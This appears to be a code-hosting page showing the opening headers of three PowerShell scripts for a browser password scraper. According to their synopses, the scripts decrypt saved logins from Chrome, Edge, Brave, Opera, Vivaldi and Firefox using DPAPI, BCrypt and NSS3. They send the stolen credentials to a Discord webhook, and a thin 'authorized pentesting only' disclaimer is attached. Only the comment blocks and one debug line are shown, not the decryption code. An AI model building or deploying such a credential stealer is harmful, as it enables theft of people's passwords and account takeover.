This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| DEBUG VERSION - prints every step to diagnose browser credential scraping. | |
| Once confirmed working, remove Write-Host lines for production. | |
| #> | |
| # ------------------------------------------------------------ | |
| # WinSQLite3 wrapper (winsqlite3.dll ships with Win10/11) | |
| # ------------------------------------------------------------ | |
| Write-Host "[*] Loading WinSQLite3..." |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| Self-contained browser password scraper. C# 5.0 compatible (PS 5.1). | |
| Uses winsqlite3.dll, BCrypt, and Firefox NSS3. | |
| Exfiltrates to Discord webhook set via $DiscordUrl. | |
| #> | |
| # ------------------------------------------------------------ | |
| # WinSQLite3 wrapper (winsqlite3.dll ships with Win10/11) | |
| # ------------------------------------------------------------ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| Browser password scraper - extracts saved credentials from Chromium browsers | |
| and Firefox, exfiltrates to Discord webhook. For authorized pentesting only. | |
| .DESCRIPTION | |
| Targets: Chrome, Edge, Brave, Opera, Vivaldi, Chromium, Firefox | |
| Uses DPAPI + AES-GCM (via BCrypt) for Chromium v10/v20 decryption. | |
| Uses NSS3 for Firefox logins.json decryption. | |
| #> |
NewerOlder